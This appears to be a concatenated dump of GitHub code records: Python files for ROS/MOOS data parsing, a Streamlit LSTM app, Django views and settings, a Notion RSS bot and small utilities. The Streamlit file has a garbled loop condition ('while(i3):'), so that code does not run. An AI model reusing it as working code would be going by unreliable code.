self._identifierOccursCount\n d.setConfig(self._config)\n self._configured = d.validate()\n\n def getAdditionalConfigFiles(self):\n if self._model is None:\n self._model = MasterModel(self._location, self._config['identifier'])\n return [self._model.getSettingsFilename()]\n","repo_name":"ABI-Software/mapclientplugins.scaffoldcreator","sub_path":"mapclientplugins/scaffoldcreator/step.py","file_name":"step.py","file_ext":"py","file_size_in_byte":6659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34686876506","text":"# 2020-01\n# Author: Michael DeFilippo (mikedef@mit.edu), AUV Lab\n# License: MIT\n\n'''\n Script to put MOOS variables from a previously processed CSV into a bag file. This will be used to later combine MOOS data with a master mission bag file from Philos BV NMEA messages.\n'''\n\nimport os\nimport sys\nimport math\nimport csv\n\nimport rosbag\nimport rospy\nfrom sensor_msgs.msg import NavSatFix, Imu\nfrom geometry_msgs.msg import TwistStamped, PointStamped, Vector3Stamped\nimport tf \n\n# init\ndegrees2rad = math.pi/180.0\nrad2degrees = 180.0/math.pi\nG = 9.8 # m/s\nFT_TO_M = 0.3048\n\nout_bag = 'moos_vars.bag'\nlat = 0\nlon = 0\neuler = []\ne_x = 0\ne_y = 0\ne_z = 0\na_x = 0\na_y = 0\na_z = 0\nrr = 0\npr = 0\nyr = 0\nnav_x = 0\nnav_y = 0\nnav_z = 0\ngps_utc = 0\ngps_ex = 0\ngps_ey = 0\ngps_ez = 0\ngps_heave = 0\npashr = False\ngprmc = False\ncount = 0\ngprmc_count = 0\n\n# process command line\nif len(sys.argv) < 2:\n print(\"Not enough arguments!\")\n print(\"Usage: parse_moos_csv_data.py folder_path\")\n\nif \"-h\" in sys.argv:\n print(\"Usage: parse_moos_csv_data.py out_bag_folder_path\")\n print(\"Script to parse moos vars into a csv\")\n print(\" \")\n print(\" -h print this help message\")\n print(\" -m path to moos_vars.csv\" )\n exit()\n\n# Path to put finished rosbag into\nout_path = sys.argv[-1]\nif not os.path.isdir(out_path):\n print(\"Folder '%s' does not exist\" % out_path)\n exit()\n\n#rosbag_path = \"/home/mikedef/auvlab/asv/2019-10-29/LOG_PHILOS__29_10_2019_____16_00_19/\"\n\n# path to csv that holds the moos variables\nif not \"-m\" in sys.argv:\n print(\"Error: No CSV of MOOS variables given\")\n exit()\n\nif \"-m\" in sys.argv:\n i = sys.argv.index(\"-m\")\n if len(sys.argv) > i+1:\n var_csv = sys.argv[i+1]\n \nimu = {\"time\":0.0,\"roll\":0.0, \"pitch\":0.0, \"yaw\":0.0, \"roll_mod\":0.0, \"pitch_mod\":0.0, \"yaw_mod\":0.0}\nwith open('output.csv', 'w') as csv_file:\n #writer = csv.writer(csv_file)\n csv_writer = csv.DictWriter(csv_file, fieldnames=[\"time\",\"roll\",\"pitch\",\"yaw\",\"roll_mod\",\"pitch_mod\",\"yaw_mod\"])\n csv_writer.writeheader()\n \n with open(var_csv,'r') as f:\n reader = csv.reader(f)\n for line in reader:\n try:\n #print(line[0], line[1], line[2])\n \n unix_time = float(line[0])\n moos_var = str(line[1])\n data = str(line[2])\n data = line[2].rstrip().split(',')\n \n imu[\"time\"] = unix_time\n\n \n if moos_var == \"NMEA_RECEIVED\":\n nmea_topic = data[0]\n \n # Parse Philos Imu Msg Data\n if nmea_topic == \"$BVROT\":\n # roll\n e_x = float(data[3])\n if (e_x > 512.0):\n e_x -= 1024.0\n imu[\"roll\"] = e_x\n \n # pitch\n e_y = float(data[4])\n if (e_y > 512.0):\n e_y -= 1024.0\n imu[\"pitch\"] = e_y\n \n # heading\n e_z = float(data[5])\n if (e_z > 512.0):\n e_z -= 1024.0\n e_z = math.fmod(e_z, 360.0)\n imu[\"yaw\"] = e_z\n\n radx = e_x * degrees2rad\n rady = e_y * degrees2rad\n radz = e_z * degrees2rad\n q = tf.transformations.quaternion_from_euler(radx,rady,radz)\n euler = tf.transformations.euler_from_quaternion([q[0],q[1],q[2],q[3]])[:3]\n imu[\"roll_mod\"] = euler[0]*rad2degrees\n imu[\"pitch_mod\"] = euler[1]*rad2degrees\n imu[\"yaw_mod\"] = euler[2]*rad2degrees\n x = euler[0]*rad2degrees\n y = euler[1]*rad2degrees\n z = euler[2]*rad2degrees\n print (imu)\n print (x,y,z)\n csv_writer.writerow(imu)\n\n except:\n continue # must not have been in format time, string, float or moos_var not in dictionary\n \n\n\nexit()\n\n\n \n \n \n\n\n\n","repo_name":"mikedef/data-processing-tools","sub_path":"parse_moos_csv_data.py","file_name":"parse_moos_csv_data.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16656064738","text":"import streamlit as st\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom keras.models import load_model\r\nimport pickle\r\nimport matplotlib.pyplot as plt \r\n\r\n\r\n\r\n# Load the LSTM model\r\npickle_in = open(\"lstm model.pkl\",\"rb\")\r\nmodel=pickle.load(pickle_in)\r\n\r\n\r\n\r\n# Function to make predictions\r\ndef make_predictions(input_data):\r\n x_input = np.array([187, 196, 210])\r\n temp_input=list(x_input)\r\n output=[]\r\n i=0\r\n\r\n while(i3):\r\n x_input=np.array(temp_input[1:])\r\n print(\"{} day input {}\".format(i,x_input))\r\n #print(x_input)\r\n x_input = x_input.reshape((1, 3, 1))\r\n #print(x_input)\r\n yhat = model.predict(x_input, verbose=0)\r\n print(\"{} day output {}\".format(i,yhat))\r\n temp_input.append(yhat[0][0])\r\n temp_input=temp_input[1:]\r\n #print(temp_input)\r\n output.append(yhat[0][0])\r\n i=i+1\r\n else:\r\n x_input = x_input.reshape((1, 3, 1))\r\n yhat = model.predict(x_input, verbose=0)\r\n print(yhat[0])\r\n temp_input.append(yhat[0][0])\r\n output.append(yhat[0][0])\r\n i=i+1\r\n \r\n # data visualization\r\n day_new=np.arange(1,10)\r\n day_pred=np.arange(10,input_data+10)\r\n\r\n # plotting \r\n timeseries_data = [110, 143 , 158, 17125, 133, 1462, 187, 196, 210]\r\n plt.plot(day_new,timeseries_data)\r\n #plt.plot(day_pred,output)\r\n plt.show()\r\n\r\n\r\n print(output)\r\n return output\r\n\r\n# Streamlit app\r\ndef main():\r\n # Set the title and layout of the app\r\n st.title('LSTM Model Deployment ')\r\n st.write('Enter your input data:')\r\n\r\n # Get user input\r\n \r\n data = st.number_input('Enter the number of months to forecast', min_value=1, value=3)\r\n\r\n if st.button('Predict'):\r\n # Make predictions using the LSTM model\r\n result = make_predictions(data)\r\n st.dataframe(result) # diplay prediction in table\r\n\r\n if st.button(\"About\"):\r\n st.text(\"Lets LEarn\")\r\n st.text(\"Built with Streamlit\")\r\n st.text(\"Built by satwik\")\r\n st.markdown('---')\r\n st.markdown('Developed by Satwik')\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"satwik121/Model_lstm","sub_path":"lstm.py","file_name":"lstm.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21397606623","text":"from random import choice\n\n\nclass Lottery:\n def __init__(self, lottery_list):\n self.lottery_list = lottery_list\n\n def run_lottery(self):\n winning_value_list = []\n lottery_list_copy = self.lottery_list[:]\n while len(winning_value_list) < 4:\n winning_value = choice(lottery_list_copy)\n lottery_list_copy.remove(winning_value)\n winning_value_list.append(winning_value)\n print(f\"Winning values are: {', '.join(winning_value_list)}.\")\n return winning_value_list\n\n def analyze_lottery_result(self, winning_values):\n if winning_values:\n generated_winning_list = []\n counter = 0\n while generated_winning_list != winning_values:\n generated_winning_list = self.run_lottery()\n counter += 1\n print(f\"It took {counter} iterations to generate original results.\")\n\n\nlottery_to_run = [\"a\", \"1\", \"41\", \"e\", \"q\", \"35\", \"87\", \"96\", \"2\", \"l\", \"85\", \"9\", \"11\", \"32\", \"t\"]\nlottery = Lottery(lottery_to_run)\nwins = lottery.run_lottery()\nlottery.analyze_lottery_result(wins)\n","repo_name":"AnatoliKosarev/Python-beginner-course--Teclado-","sub_path":"pythonTextBook/exercises/classes/exNineFourteen.py","file_name":"exNineFourteen.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9480072797","text":"import simplejson as json\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.template.loader import render_to_string\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import get_object_or_404\nfrom django.http import Http404, HttpResponse\n\nfrom components.help_topics.models import HelpTopic\nfrom components.ask_admin.forms import FeedbackForm\n\n@login_required\ndef index(request):\n form = FeedbackForm(auto_id=\"help_%s\")\n rules = HelpTopic.objects.filter(category=\"rules\", parent_topic__isnull=True)\n faqs = HelpTopic.objects.filter(category=\"faq\", parent_topic__isnull=True)\n return render_to_response(\"help/index.html\", {\n \"form\": form,\n \"rules\": rules,\n \"faqs\": faqs,\n }, context_instance=RequestContext(request))\n\n@login_required\ndef topic(request, category, slug):\n \"\"\"\n Shows a help topic. This method handles both a regular request and an AJAX request for dialog boxes.\n \"\"\"\n topic = get_object_or_404(HelpTopic, slug=slug, category=category)\n if request.is_ajax():\n contents = render_to_string(\"help/dialog.html\", {\"topic\": topic})\n return HttpResponse(json.dumps({\n \"title\": topic.title,\n \"contents\": contents,\n }), mimetype=\"application/json\")\n \n return render_to_response(\"help/topic.html\", {\n \"topic\": topic,\n }, context_instance=RequestContext(request))\n \n\n","repo_name":"keokilee/makahiki","sub_path":"makahiki/apps/pages/view_help/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"67"} +{"seq_id":"20626617794","text":"import torch\n\n\nx = torch.randn(5,5)\n\n##### CUDA TENSORS\n# Tensors can be moved onto any device using the .to method\n\n# let us run this cell only if CUDA is available\n# We will use \"torch.device\" objects to move tensors in and out of GPU\nif torch.cuda.is_available():\n device = torch.device(\"cuda\") # a CUDA device object\n y = torch.ones_like(x, device=device) # direct create a tensor on GPU\n x = x.to(device) # or just use strings ''.to(\"cuda\")''\n z = x + y\n print(z)\n print(z.to(\"cpu\", torch.double)) # ''.to'' can also change dtype together!\n","repo_name":"mb11797/PyTorch-ing","sub_path":"What is PyTorch ?/CUDA Tensors.py","file_name":"CUDA Tensors.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30089575112","text":"# coding:utf-8\n\nimport sys, platform\n\nsys.path.append(\"../\")\nif 'twisted.internet.reactor' not in sys.modules:\n if platform.system() == \"Linux\":\n from twisted.internet import epollreactor\n\n epollreactor.install()\n else:\n from twisted.internet import iocpreactor\n\n iocpreactor.install()\n\nimport logging\nfrom logging.handlers import TimedRotatingFileHandler\nfrom twisted.internet import reactor\nfrom twisted.python import log\nfrom common import daemon\nimport config\nimport random\nimport time\nimport robotmanager\n\n\ndef MainStop():\n pass\n\n\ndef MainRun(isdaemon):\n random.seed(time.time())\n logging.getLogger().setLevel(config.instance.log_level)\n handler = TimedRotatingFileHandler(filename=config.instance.log_file, when='D', interval=1)\n handler.setLevel(config.instance.log_level)\n formatter = logging.Formatter(config.instance.log_format)\n handler.setFormatter(formatter)\n logging.getLogger().addHandler(handler)\n log.PythonLoggingObserver().start()\n if not isdaemon:\n handler = logging.StreamHandler()\n handler.setLevel(config.instance.log_level)\n formatter = logging.Formatter(config.instance.log_format)\n handler.setFormatter(formatter)\n logging.getLogger().addHandler(handler)\n\n logging.info(u\"机器人服务器启动成功\")\n robotmanager.instance.start(config.instance.robot_num)\n reactor.run()\n MainStop()\n\n\ndef run():\n daemon.run(config.instance.server_pid, MainRun)\n\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"xiexiangwei/xGame","sub_path":"robot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"37040591748","text":"from .base import *\nimport sentry_sdk\nfrom sentry_sdk.integrations.django import DjangoIntegration\n\n#sentry_sdk.init(\n# dsn=\"https://secret_key@sentry.io/project_id\",\n# integrations=[DjangoIntegration()]\n#)\n\n# SECURITY WARNING: keep the secret key used in production secret!\n# SECRET_KEY = ''\n\nDEBUG = True\nTHUMBNAIL_DEBUG = DEBUG\nPRODUCTION = False\n\n# fix issue on Google Cloud, adds invalid plugin path so we just use\n# our own boto.cfg\n#os.environ['BOTO_CONFIG'] = BASE_DIR + 'voxsnap/settings/boto.cfg'\n\nCOMPRESS_ENABLED = False\n\nALLOWED_HOSTS = ['localhost', '127.0.0.1', '.voxsnap.test', 'voxsnap.test']\nPARENT_HOST = 'voxsnap.test:8000'\nHOST_SCHEME = 'http'\n\nMANAGERS = [('Your Name', 'your.email@voxsnap.com')]\n\nINSTALLED_APPS += [\n 'django_extensions',\n # 'debug_toolbar',\n # 'django_jenkins',\n]\n\n# JENKINS_TASKS = (\n# 'django_jenkins.tasks.run_pylint',\n# 'django_jenkins.tasks.run_pep8',\n# 'django_jenkins.tasks.run_pyflakes',\n# 'django_jenkins.tasks.run_flake8',\n# )\n\n# https://github.com/kmmbvnr/django-jenkins#settings\nPROJECT_APPS = ('some_app', )\n\nMIDDLEWARE += [\n # 'debug_toolbar.middleware.DebugToolbarMiddleware'\n]\n\n# Debug toolbar\n# INTERNAL_IPS = ['127.0.0.1']\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql',\n 'NAME': 'postgres',\n 'HOST': 'localhost',\n 'USER': 'postgres',\n 'PASSWORD': 'postgres',\n 'PORT': '5432'\n },\n 'analytics': {\n 'ENGINE': 'cratedb.backends.postgresql',\n 'NAME': 'voxsnap',\n 'HOST': 'localhost',\n 'USER': 'crate',\n 'PASSWORD': '',\n 'PORT': '5442'\n }\n}\n\nCACHES = {\n \"default\": {\n \"BACKEND\": \"django_redis.cache.RedisCache\",\n \"LOCATION\": \"redis://localhost:6379/0\",\n \"OPTIONS\": {\n \"CLIENT_CLASS\": \"django_redis.client.DefaultClient\",\n }\n },\n}\n\nSESSION_ENGINE = \"django.contrib.sessions.backends.cache\"\n\nEMAIL_BACKEND = 'django_ses.SESBackend'\n# EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'\n\nAWS_SES_REGION_NAME = 'us-west-2'\nAWS_SES_REGION_ENDPOINT = 'email.us-west-2.amazonaws.com'\nDEFAULT_FROM_EMAIL='order@voxsnap.com'\nSERVER_EMAIL='order@voxsnap.com'\n# EMAIL_HOST = 'smtp.gmail.com'\n# EMAIL_HOST_USER = 'your-username@gmail.com'\n# EMAIL_HOST_PASSWORD = 'your-password'\n# EMAIL_PORT = 587\n# EMAIL_USE_TLS = True\n\nCOMPRESS_PRECOMPILERS = (\n ('text/x-scss', 'django_libsass.SassCompiler'),\n # ('text/x-scss', 'django_pyscss.compressor.DjangoScssFilter'),\n # ('text/x-scss', 'sass --style compressed {infile} {outfile}'),\n)\n\n# Celery\nBROKER_URL = 'amqp://guest:guest@localhost:5672//'\nCELERY_RESULT_BACKEND = 'amqp'\n# BROKER_URL = 'redis://localhost:6379/1'\n# CELERY_RESULT_BACKEND = 'redis://localhost:6379/1'\nCELERY_TASK_RESULT_EXPIRES = 18000\nCELERY_ACCEPT_CONTENT = ['pickle', 'json', 'msgpack', 'yaml']\n# CELERY_ALWAYS_EAGER = True\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'verbose': {\n 'format':\n '%(levelname)s %(asctime)s %(module)s %(process)d %(message)s'\n },\n 'simple': {\n 'format': '%(levelname)s %(message)s'\n },\n },\n 'handlers': {\n 'verbose_console': {\n 'level': 'DEBUG',\n # 'filters': ['require_debug_true'],\n 'class': 'logging.StreamHandler',\n 'formatter': 'verbose'\n },\n # 'file': {\n # 'level': 'DEBUG',\n # 'class': 'logging.handlers.RotatingFileHandler',\n # 'filename': '/path/to/django/debug.log',\n # },\n },\n 'loggers': {\n 'some_logger': {\n 'handlers': ['verbose_console'],\n 'level': 'DEBUG',\n 'propagate': True,\n },\n },\n}\n\nSTRIPE_LIVE_PUBLIC_KEY = os.environ.get(\"STRIPE_LIVE_PUBLIC_KEY\",\n \"pk_live_YOUR_LIVE_PUBLIC_KEY\")\nSTRIPE_LIVE_SECRET_KEY = os.environ.get(\"STRIPE_LIVE_SECRET_KEY\",\n \"sk_live_YOUR_LIVE_SECRET_KEY\")\nSTRIPE_TEST_PUBLIC_KEY = os.environ.get(\"STRIPE_TEST_PUBLIC_KEY\",\n \"pk_test_YOUR_TEST_PUBLIC_KEY\")\nSTRIPE_TEST_SECRET_KEY = os.environ.get(\"STRIPE_TEST_SECRET_KEY\",\n \"sk_test_YOUR_TEST_SECRET_KEY\")\nSTRIPE_LIVE_MODE = False # Change to True in production\nDJSTRIPE_WEBHOOK_SECRET = \"whsec_xxx\" # Get it from the section in the Stripe dashboard where you added the webhook endpoint\n\nSTRIPE_PUBLIC_KEY = STRIPE_LIVE_PUBLIC_KEY if STRIPE_LIVE_MODE else STRIPE_TEST_PUBLIC_KEY\nSTRIPE_SECRET_KEY = STRIPE_LIVE_SECRET_KEY if STRIPE_LIVE_MODE else STRIPE_TEST_SECRET_KEY\nSTRIPE_MONTHLY_SUBSCRIPTION_ID = \"1_dollar_monthly\" # be sure to create a new subscription object at Stripe dashboard\n\n############ Bucket and creds\nCLOUDFRONT_DOMAIN = \"assets.voxsnap.com\"\nAWS_STORAGE_BUCKET_NAME = 'voxsnap'\nAWS_ACCESS_KEY_ID = 'AKIA...'\nAWS_SECRET_ACCESS_KEY = 'secret_key_here'\n\n########### Optional settings\n\n# tells AWS to add properties to the files, such that when they\n# get served from s3 they come with this header telling the browser to cache for\n# life\nAWS_HEADERS = {\n 'Cache-Control': 'max-age=2592000',\n}\nAWS_S3_OBJECT_PARAMETERS = {\n 'CacheControl': 'max-age=86400',\n}\n# Set to True to make sure that only changed files are uploaded with collectstatic\nAWS_PRELOAD_METADATA = False\n\n#http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-query-string-auth.html\n# allows authenticating with creds in querystring for temp access to a resource\n# Setting to False if not needed helps get rid of uwanted qstrings in compressed\n# output\nAWS_QUERYSTRING_AUTH = False\n\n# if you don't need these\nAWS_S3_SECURE_URLS = True\nAWS_S3_ENCRYPTION = False\n\nAWS_S3_CUSTOM_DOMAIN = CLOUDFRONT_DOMAIN\n\n# Static storage\nSTATIC_URL = \"/static/\"\n#STATIC_URL = \"https://assets.voxsnap.com/static/\"\nSTATICFILES_LOCATION = 'static'\n#STATICFILES_STORAGE = 'voxsnap.utils.custom_storages.StaticStorage'\nCOMPRESS_URL = STATIC_URL\nCOMPRESS_ROOT = os.path.join(BASE_DIR, '../', 'assets/src')\n\n# Media storage\nMEDIA_URL = \"/media/\"\n#MEDIA_URL = \"https://assets.voxsnap.com/media/\"\nMEDIAFILES_LOCATION = 'media'\n#DEFAULT_FILE_STORAGE = 'voxsnap.utils.custom_storages.MediaStorage'\n\nNEW_USERS_CONFIRMATION_ENABLED = False\n\nPLAYS_STATS_PERIOD = 3 # default period (in hours) for plays statistics data aggregation\n\nUSE_TZ=False\nTIME_ZONE='UTC'\n","repo_name":"ngx-devman/Voxsnap","sub_path":"voxsnap/settings/local.example.py","file_name":"local.example.py","file_ext":"py","file_size_in_byte":6456,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"27616370333","text":"# -*- coding:utf-8 -*-\n__author__ = 'ShawDa'\n\n\nclass Solution:\n def GetNumberOfK(self, data, k):\n # write code here\n # 因为都是整数,所以可以看成是找k-0.5和k+0.5的插入位置\n return self.bi_search(data, k+0.5) - self.bi_search(data, k-0.5)\n\n def bi_search(self, data, num):\n left, right = 0, len(data)-1\n while left <= right:\n mid = (left+right) // 2\n if data[mid] > num:\n right = mid - 1\n else:\n left = mid + 1\n return left\n","repo_name":"ShawDa/Coding","sub_path":"coding-interviews/37数字在排序数组中出现的次数.py","file_name":"37数字在排序数组中出现的次数.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28360252180","text":"from random import choice\nfrom time import clock\nfrom gamestate import GameState\nfrom uct_mcstsagent import UctMctsAgent, Node\nfrom numpy.random import randint\nfrom numpy import asarray, mean, std, exp, append\nfrom meta import MCTSMeta, GameMeta\n\n\nclass QBMctsAgent(UctMctsAgent):\n \"\"\"\n Basic no frills implementation of an agent that preforms MCTS for hex.\n\n \"\"\"\n\n def __init__(self, state: GameState = GameState(8)):\n super(QBMctsAgent, self).__init__(state=state)\n moves_number, size = len(self.root_state.moves()), self.root_state.size\n initial_member = randint(moves_number // size, moves_number // 2)\n # initial_member = randint(divmod(moves_number, size)[0], divmod(moves_number, 2)[0])\n self.pl_list = asarray([[initial_member, initial_member]])\n\n def search(self, time_budget: int) -> None:\n \"\"\"\n Search and update the search tree for a\n specified amount of time in seconds.\n\n Args:\n time_budget: How much time to think\n\n \"\"\"\n start_time = clock()\n num_rollouts = 0\n\n # do until we exceed our time budget\n while clock() - start_time < time_budget:\n node, state = self.select_node()\n turn = state.turn()\n outcome = self.roll_out(state)\n self.backup(node, turn, outcome, state)\n num_rollouts += 1\n run_time = clock() - start_time\n node_count = self.tree_size()\n self.run_time = run_time\n self.node_count = node_count\n self.num_rollouts = num_rollouts\n\n def roll_out(self, state: GameState) -> tuple:\n \"\"\"\n Simulate an entirely random game from the passed state and return the winning\n player.\n\n Returns:\n tuple: consists of winner of the game (either black or white)\n and number of moves for each player\n\n \"\"\"\n moves = state.moves() # Get a list of all possible moves in current state of the game\n\n while state.winner == GameMeta.PLAYERS['none']:\n move = choice(moves)\n state.play(move)\n moves.remove(move)\n return state.winner\n\n def modify_reward(self, pl_length: dict) -> dict:\n \"\"\"\n Takes the simulation length as the input and modifies it based on the\n Quality-Based rewards\n\n Args:\n pl_length:\n\n Returns:\n dict: Bonus added reward based on quality based rewards\n\n \"\"\"\n mean_ = mean(self.pl_list, axis=0)\n mean_offset = asarray([mean_[0] - pl_length[0], mean_[1] - pl_length[1]])\n deviation = std(self.pl_list, axis=0)\n landa = asarray(list(map(lambda x, y: x / y if y != 0 else 0, mean_offset, deviation)))\n bonus = -1 + (2 / (1 + exp(-MCTSMeta.K_CONST * landa)))\n result = {'white': bonus[0], 'black': bonus[1]}\n return result\n\n def backup(self, node, turn, outcome, state: GameState):\n \"\"\"\n Update the node statistics on the path from the passed node to root to reflect\n the outcome of a randomly simulated playout.\n\n \"\"\"\n # Careful: The reward is calculated for player who just played\n # at the node and not the next player to play\n pl_length = [state.get_num_played()['white'], state.get_num_played()['black']]\n self.pl_list = append(self.pl_list, [pl_length], axis=0)\n bonus = self.modify_reward(pl_length)\n reward = -1 if outcome == turn else 1\n\n while node is not None:\n node.N += 1\n max_moves_played = max(state.get_num_played().values())\n\n if turn == GameMeta.PLAYERS['black']:\n qb_reward = reward + (reward * MCTSMeta.A_CONST * bonus['black']) \\\n if max_moves_played >= MCTSMeta.WARMUP_ROLLOUTS else reward\n else:\n qb_reward = reward + (reward * MCTSMeta.A_CONST * bonus['white']) \\\n if max_moves_played >= MCTSMeta.WARMUP_ROLLOUTS else reward\n\n node.Q += qb_reward\n turn = 1 if turn == 0 else 0\n node = node.parent\n reward = -reward\n\n def move(self, move):\n \"\"\"\n Make the passed move and update the tree appropriately. It is\n designed to let the player choose an action manually (which might\n not be the best action).\n\n \"\"\"\n if move in self.root.children:\n child = self.root.children[move]\n child.parent = None\n self.root = child\n self.root_state.play(child.move)\n moves_number, size = len(self.root_state.moves()), self.root_state.size\n initial_member = randint(moves_number // size, moves_number // 2)\n # initial_member = randint(divmod(moves_number, size)[0], divmod(moves_number, 2)[0])\n self.pl_list = asarray([[initial_member, initial_member]])\n return\n\n # if for whatever reason the move is not in the children of\n # the root just throw out the tree and start over\n self.root_state.play(move)\n self.root = Node()\n","repo_name":"masouduut94/MCTS-agent-python","sub_path":"qb_mctsagent.py","file_name":"qb_mctsagent.py","file_ext":"py","file_size_in_byte":5107,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"72"} +{"seq_id":"7976868816","text":"import feedparser\nimport re\nfrom datetime import datetime\nfrom functools import reduce\nimport json\nimport requests as _req\n\nNOTION_PARA_BLOCK_LIMIT = 2000\n\n\nTIMESTAMP = lambda: datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\nDATESTAMP = lambda: datetime.now().strftime(\"%Y-%m-%d\")\n\n\"\"\"\nentry = {\n \"title\" : \"文章标题\",\n \"link\" : \"文章链接\",\n \"summary\": \"文章摘要\",\n \"synced\" : False,\n \"date\" : \"文章时间 | 抓取时间\",\n \"rss\" : {\n \"title\" : \"RSS 标题\",\n \"uri\" : \"RSS 地址\",\n \"isWhiteList\": \"是否白名单\"\n }\n}\n\"\"\"\n\n\ndef parse_rss(rss_info: dict):\n entries = []\n try:\n res = _req.get(\n rss_info.get(\"uri\"),\n headers={\n \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34\"\n },\n )\n feed = feedparser.parse(res.text)\n except:\n print(\"Feedparser error\")\n return []\n for entry in feed.entries:\n entries.append(\n {\n \"title\": entry.title,\n \"link\": entry.link,\n \"date\": entry.get(\"updated\", TIMESTAMP()),\n \"summary\": re.sub(r\"<.*?>|\\n*\", \"\", entry.summary)[\n :NOTION_PARA_BLOCK_LIMIT\n ],\n \"synced\": False,\n \"rss\": rss_info,\n }\n )\n # 读取前 20 条\n return entries[:20]\n\n\ndef deep_get(dictionary, keys, default=None):\n return reduce(\n lambda d, key: d.get(key, default) if isinstance(d, dict) else default,\n keys.split(\".\"),\n dictionary,\n )\n\n\nclass NotionAPI:\n NOTION_API_HOST = \"https://api.notion.com/v1\"\n\n def __init__(self, sec, rss, keyword, coll) -> None:\n self._sec = sec\n self._rss_id = rss\n self._kw_id = keyword\n self._col_id = coll\n self.HEADERS = {\n \"Authorization\": f\"Bearer {self._sec}\",\n \"Notion-Version\": \"2021-08-16\",\n \"Content-Type\": \"application/json\",\n }\n self.session = _req.Session()\n self.session.headers.update(self.HEADERS)\n\n def api_endpoint(self, path):\n return \"{}{}\".format(self.NOTION_API_HOST, path)\n\n def query_keywords(self):\n api = self.api_endpoint(f\"/databases/{self._kw_id}/query\")\n res = self.session.post(\n api, json={\"filter\": {\"property\": \"Open\", \"checkbox\": {\"equals\": True}}}\n )\n results = res.json().get(\"results\")\n keyword_list = [\n deep_get(k, \"properties.KeyWords.title\")[0].get(\"text\").get(\"content\")\n for k in results\n ]\n return keyword_list\n\n def query_open_rss(self):\n api = self.api_endpoint(f\"/databases/{self._rss_id}/query\")\n res = self.session.post(\n api,\n json={\"filter\": {\"property\": \"Enable\", \"checkbox\": {\"equals\": True}}},\n )\n results = res.json().get(\"results\")\n rss_list = [\n {\n \"isWhiteList\": deep_get(r, \"properties.Whitelist.checkbox\"),\n \"uri\": deep_get(r, \"properties.URI.url\"),\n \"title\": deep_get(r, \"properties.Name.title\")[0]\n .get(\"text\")\n .get(\"content\"),\n }\n for r in results\n ]\n return rss_list\n\n def is_page_exist(self, uri):\n api = self.api_endpoint(f\"/databases/{self._col_id}/query\")\n res = self.session.post(\n api, json={\"filter\": {\"property\": \"URI\", \"text\": {\"equals\": uri}}}\n )\n return len(res.json().get(\"results\")) > 0\n\n def save_page(self, entry):\n api = self.api_endpoint(\"/pages\")\n\n title = entry.get(\"title\")\n summary = entry.get(\"summary\")\n\n multi_selects = [{\"name\": kw} for kw in entry.get(\"match_keywords\")]\n\n # NOTION API 限制 Summary 长度:\n \"\"\"\n body.children[1].paragraph.text[0].text.content.length should be ≤ `2000`\n \"\"\"\n\n data = {\n \"parent\": {\"database_id\": self._col_id},\n \"properties\": {\n \"Title\": {\"title\": [{\"text\": {\"content\": title}}]},\n \"URI\": {\"url\": entry.get(\"link\")},\n \"Key Words\": {\"multi_select\": multi_selects},\n \"Entropy\": {\"number\": entry.get(\"entropy\", 0.0)},\n \"Source\": {\n \"rich_text\": [{\"text\": {\"content\": entry.get(\"rss\").get(\"title\")}}]\n },\n \"白名单\": {\"checkbox\": entry.get(\"rss\").get(\"isWhiteList\")},\n },\n \"children\": [\n {\n \"type\": \"heading_3\",\n \"heading_3\": {\n \"text\": [\n {\n \"type\": \"text\",\n \"text\": {\n \"content\": \"Summary\",\n },\n }\n ]\n },\n }, # H3\n {\n \"type\": \"paragraph\",\n \"paragraph\": {\n \"text\": [\n {\n \"type\": \"text\",\n \"text\": {\n \"content\": summary,\n },\n }\n ]\n },\n },\n ],\n }\n\n res = self.session.post(api, data=json.dumps(data))\n return res.json()\n","repo_name":"rainyear/dailybot","sub_path":"utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5654,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"72"} +{"seq_id":"33923051308","text":"#!/usr/bin/env python3\n\nimport shutil\nimport psutil\n\n\ndef check_dist_usage(disk):\n du = shutil.disk_usage(disk)\n free_percentage = du.free / du.total * 100\n return free_percentage > 20\n\n\ndef check_cpu_usage():\n usage = psutil.cpu_percent(1)\n return usage < 75\n\n\nif not check_dist_usage(\"/\") or not check_cpu_usage():\n print(\"ERROR!!\")\nelse:\n print(\"Your machine looks 